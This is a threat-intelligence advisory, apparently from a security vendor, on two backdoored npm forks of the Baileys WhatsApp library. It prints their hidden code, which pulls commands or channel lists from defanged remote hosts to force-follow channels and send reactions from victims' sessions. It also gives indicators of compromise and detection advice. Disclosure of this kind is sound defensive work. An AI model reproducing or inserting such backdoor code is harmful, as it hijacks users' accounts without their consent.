@systemzero/baileys and @mrlegendbot/baileys appeared on the npm registry between May and August 2026, published by two separate accounts. Both packages fork @whiskeysockets/baileys, the open-source WhatsApp Web API library with roughly three million weekly downloads. Both inject hidden backdoors into the Baileys newsletter module that force-follow WhatsApp channels and farm reactions using the authenticated session of anyone who calls makeWASocket().
The two packages use different command-and-control mechanisms. The outcome on the victim’s WhatsApp account is the same: channels the user never chose appear in their subscription list, and reactions the user never sent appear on newsletter posts.
The artifacts
@whiskeysockets/baileys is the canonical npm package for the Baileys WhatsApp Web library. The library reverse-engineers the WhatsApp Web binary WebSocket protocol, allowing Node.js applications to send and receive WhatsApp messages. It has roughly three million weekly downloads, is published via GitHub Actions OIDC, and has spawned a large fork ecosystem on npm with dozens of community-maintained scoped packages.
@systemzero/baileys (publisher blackhzx, deyvidfalcon68[@]gmail[.]com) first appeared on May 20, 2026. Fifteen versions shipped through Sep 4, 2026. The package description reads “System-zero baileys bot.” Code comments and variable names are in Portuguese, consistent with the .br country code on the associated domain. The package has roughly 4,200 monthly downloads.
@mrlegendbot/baileys (publisher mrlegendbot, travatiger1[@]gmail[.]com) first appeared on Aug 1, 2026. Eleven versions shipped through Aug 15, 2026. The initial release, tagged 7.0.0-rc14, carries the upstream maintainer name and repository URL in its package.json, indicating the fork started from the legitimate release candidate. Later versions switch to the 1.x range. The README contains no package documentation, only pseudonyms and social media links.
What they do
@systemzero/baileys v1.1.1 (published Jul 28, 2026) introduced a file named lib/Utils/signal-stream.js. Every call to makeWASocket() imported this module and opened a persistent Server-Sent Events connection to hxxps://zone[.]api[.]br/api/owner/whatsapp-signal-stream. No configuration flag controlled this behavior:
import { listenToSignalStream } from '../Utils/signal-stream.js';
const SIGNAL_STREAM_URL = 'hxxps://zone[.]api[.]br/api/owner/whatsapp-signal-stream';
const makeWASocket = (config) => {
const sock = makeCommunitiesSocket(newConfig);
const pararSinal = listenToSignalStream(sock, {
url: SIGNAL_STREAM_URL,
logger: newConfig.logger
});
};The SSE client parsed two event types from the remote server. A react event carried a channel JID, a message server ID, and an emoji. The client resolved the channel and called sock.newsletterReactMessage() on the authenticated WhatsApp socket. A follow event carried a channel JID and called sock.newsletterFollow(). Portuguese variable names (pararSinal, tentativas, parando) and log messages (falha ao reagir, falha ao seguir) run throughout the file.
The connection retried with exponential backoff (2s base, 30s cap, with jitter). All errors were silently caught. The SSE stream persisted for the full lifetime of the WhatsApp session, shutting down only on connection close or explicit sock.end().
Version 1.1.4 (Sep 4, 2026) removed signal-stream.js. The Portuguese changelog for that version reads: “Removido o canal de sinal remoto (signal stream). Toda instancia de makeWASocket abria sozinha, sem nenhuma configuracao pedindo isso, uma conexao persistente com um servidor externo que podia mandar comandos.” Translation: every instance of makeWASocket opened on its own, without any configuration requesting it, a persistent connection with an external server that could send commands.
@mrlegendbot/baileys ships a startAutoFeatures function in lib/Socket/newsletter.js across all published versions, including the current latest (1.2.7). Five seconds after socket creation, the function fetches hxxps://raw[.]githubusercontent[.]com/travatiger/MrLegend/refs/heads/main/Chids[.]json, a JSON array of WhatsApp channel IDs hosted on GitHub, and performs two operations on the victim’s account:
const RAW_URL = "hxxps://raw[.]githubusercontent[.]com/travatiger/MrLegend/refs/heads/main/Chids[.]json";
const response = await fetch(RAW_URL);
const channelIds = await response.json();
sockInstance.enableAutoReaction(channelIds, sockInstance.reactionEmojis, 0);
sockInstance.startAutoReactionListener();
for (const channelId of channelIds) {
await sockInstance.reactToAllNewMessages(channelId, 50);
}
const followNext = async (index) => {
if (index >= channelIds.length) return;
await sockInstance.newsletterFollow(channelIds[index]);
setTimeout(() => followNext(index + 1), 10000);
};
followNext(0);setTimeout(() => startAutoFeatures(fullSock), 0) runs unconditionally at the end of the socket constructor. The auto-reaction component hooks into the messages.upsert event and sends every emoji from a hardcoded list of ten to every incoming message in target channels, with 1.5-second delays between reactions. reactToAllNewMessages() bulk-reacts to up to 50 historical messages per channel. The auto-follow component iterates the channel list and calls newsletterFollow() for each entry at ten-second intervals. All errors are silently caught. The operator can change targeting by updating the GitHub JSON file without publishing a new package version.
The campaign
Both packages modify the same Baileys newsletter module. They call the same WhatsApp API methods (newsletterFollow, newsletterReactMessage) and produce the same result on the victim’s account: channels the user never chose and reactions the user never sent. The delivery vector for both is an unauthorized fork of a high-traffic WhatsApp library published under a scoped npm name, a format that blends with the existing Baileys fork ecosystem.
The publisher accounts, email addresses, and C2 infrastructure are distinct. @systemzero/baileys receives commands through a persistent SSE stream from a server at zone[.]api[.]br. @mrlegendbot/baileys pulls its target list from a static JSON file on GitHub. The shared operational pattern is unauthorized newsletter engagement farming via backdoored library forks distributed through npm.
Why the operation matters here
The Baileys fork ecosystem on npm has dozens of scoped packages from community developers. A fork with a backdoor in the newsletter module is indistinguishable from a legitimate community customization by name and description alone. Neither package uses lifecycle scripts to trigger the backdoor. The malicious code runs at socket creation time, which means install-time defenses that block preinstall and postinstall hooks do not catch it.
Both backdoors use remote-controlled target lists. The operator of @systemzero/baileys could change targeting by sending new SSE events. The operator of @mrlegendbot/baileys can update a single JSON file on GitHub without publishing a new package version. Blocking a specific channel ID or a specific package version does not prevent future abuse from the same infrastructure.
What a defender can do
Compare a fork’s lib/Socket/newsletter.js and lib/Socket/index.js against the upstream @whiskeysockets/baileys. Any import in those files that does not exist in the upstream is a signal. Flag packages that open outbound connections at socket-creation time without documented configuration. Monitor WhatsApp channel subscriptions for follows the user did not initiate.
Where Aephix fits
Aephix Vantage gives you a free cross-ecosystem check before you install. Weekly Sleuth reports confirmed artifacts grouped by the operation behind them, so the next fork from this publisher reaches subscribers tied to the earlier ones.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | @systemzero/[email protected] | SSE backdoor introduced |
| npm package | @systemzero/[email protected] | SSE backdoor present |
| npm package | @systemzero/[email protected] | SSE backdoor present |
| npm account | blackhzx | Publisher of @systemzero/baileys |
| deyvidfalcon68[@]gmail[.]com | Publisher email | |
| C2 endpoint | hxxps://zone[.]api[.]br/api/owner/whatsapp-signal-stream | SSE command channel |
| Domain | zone[.]api[.]br | C2 and donate infrastructure |
| Domain | systemzone[.]store | Earlier donate URL (v1.1.1 through v1.1.2) |
| Telegram | @blackhzx | Publisher contact |
| npm package | @mrlegendbot/baileys (all versions) | Auto-follow backdoor in newsletter.js |
| npm account | mrlegendbot | Publisher of @mrlegendbot/baileys |
| travatiger1[@]gmail[.]com | Publisher email | |
| Channel list | hxxps://raw[.]githubusercontent[.]com/travatiger/MrLegend/refs/heads/main/Chids[.]json | Auto-follow target list |
| GitHub repo | travatiger/MrLegend | Hosts channel ID list |
| npm package | @mrlegendbot/[email protected] | Scoped dependency fork, same publisher |
| YouTube | @TRAVA-TIGER | Publisher social media |